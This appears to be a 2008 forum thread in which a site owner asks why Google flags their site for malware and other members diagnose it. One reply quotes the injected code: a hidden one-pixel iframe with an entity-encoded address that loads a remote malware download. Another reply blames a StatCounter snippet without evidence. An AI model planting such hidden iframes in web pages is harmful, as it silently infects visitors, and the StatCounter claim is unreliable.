What is wrong with my site? I am at a loss. Help!

Discussion in 'Security' started by homebizbuilder, Jan 30, 2008.

  1. #1
    Hi, I received this message from Google.

    Tried checking my site but found nothing wrong. Also, my site does not link to any malicious software or downloads.

    I am at a Total Loss now! Pls Help!

    We recently discovered that some of your pages can cause users to be
    infected with malicious software. We have begun showing a warning page
    to users who visit these pages by clicking a search result on
    Google.com.

    Below is an example URL on your site which can cause users to be
    infected

    http://www.secrets-of-affiliatemarketing.com/

    Here is a link to a sample warning page:
    http://www.google.com/interstitial?url=http://www.secrets-of-affiliatemarketing.com/

    We strongly encourage you to investigate this immediately to protect
    your visitors. Although some sites intentionally distribute malicious
    software, in many cases the webmaster is unaware because:

    1) the site was compromised
    2) the site doesn't monitor for malicious user-contributed content
    3) the site displays content from an ad network that has a malicious
    advertiser

    If your site was compromised, it's important to not only remove the
    malicious (and usually hidden) content from your pages, but to also
    identify and fix the vulnerability. We suggest contacting your hosting
    provider if you are unsure of how to proceed. StopBadware also has a
    resource page for securing compromised sites:
    http://www.stopbadware.org/home/security

    Once you've secured your site, you can request that the warning be
    removed by visiting
    http://www.google.com/support/webmasters/bin/answer.py?answer=45432
    and requesting a review. If your site is no longer harmful to users,
    we will remove the warning.
     
    homebizbuilder, Jan 30, 2008 IP
  2. live-cms_com

    live-cms_com Notable Member

    Messages:
    3,128
    Likes Received:
    112
    Best Answers:
    0
    Trophy Points:
    205
    Digital Goods:
    1
    #2
    Google doesn't really like rubbish pages and I guess pages that take your email address and spam you are considered rubbish by Google.

    Maybe someone else has a more cheerful explanation.
     
    live-cms_com, Jan 30, 2008 IP
  3. Colbyt

    Colbyt Notable Member

    Messages:
    3,224
    Likes Received:
    185
    Best Answers:
    0
    Trophy Points:
    210
    #3
    Guess I don't have any better news for you.

    Your site is trying to run or install some crapware. It was blocked and I did not unblock it.

    edit: In the event that you really do not know what the problem is, take a look at the code that comes after <!-- Start of StatCounter Code -->

    This is one of of the places crapware hides. You don't think they give away those "free" counters for no reason do you?
     
    Colbyt, Jan 30, 2008 IP
  4. homebizbuilder

    homebizbuilder Peon

    Messages:
    784
    Likes Received:
    23
    Best Answers:
    0
    Trophy Points:
    0
    #4
    Hi Live-cms com, in the first place, I do not spam. The sign up is a genuine double opt-in sign up where you have to confirm you requested the information before you ever receive any emails from me.

    Hi Colbyt, I am not sure if the StatCounter code is the one giving me the problem but I guess there is no harm in removing it.
     
    homebizbuilder, Jan 30, 2008 IP
  5. live-cms_com

    live-cms_com Notable Member

    Messages:
    3,128
    Likes Received:
    112
    Best Answers:
    0
    Trophy Points:
    205
    Digital Goods:
    1
    #5
    Here is the virus you are distributing - http://xabmiphabh.cn/dl/adv448.php

    <iframe src="&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#120;&#97;&#98;&#109;&#105;&#112;&#104;&#97;&#98;&#104;&#46;&#99;&#110;&#47;&#100;&#108;&#47;&#97;&#100;&#118;&#52;&#52;&#56;&#46;&#112;&#104;&#112;" width=1 height=1></iframe>
    Code (markup):
     
    live-cms_com, Jan 30, 2008 IP
  6. homebizbuilder

    homebizbuilder Peon

    Messages:
    784
    Likes Received:
    23
    Best Answers:
    0
    Trophy Points:
    0
    #6
    I checked the source code but cannot find this iframe you are talking about, buddy.
     
    homebizbuilder, Jan 30, 2008 IP
  7. live-cms_com

    live-cms_com Notable Member

    Messages:
    3,128
    Likes Received:
    112
    Best Answers:
    0
    Trophy Points:
    205
    Digital Goods:
    1
    #7
    The characters are encoded but it is there, the URL is hidden. Search for the string 'iframe' and you'll find it.
     
    live-cms_com, Jan 31, 2008 IP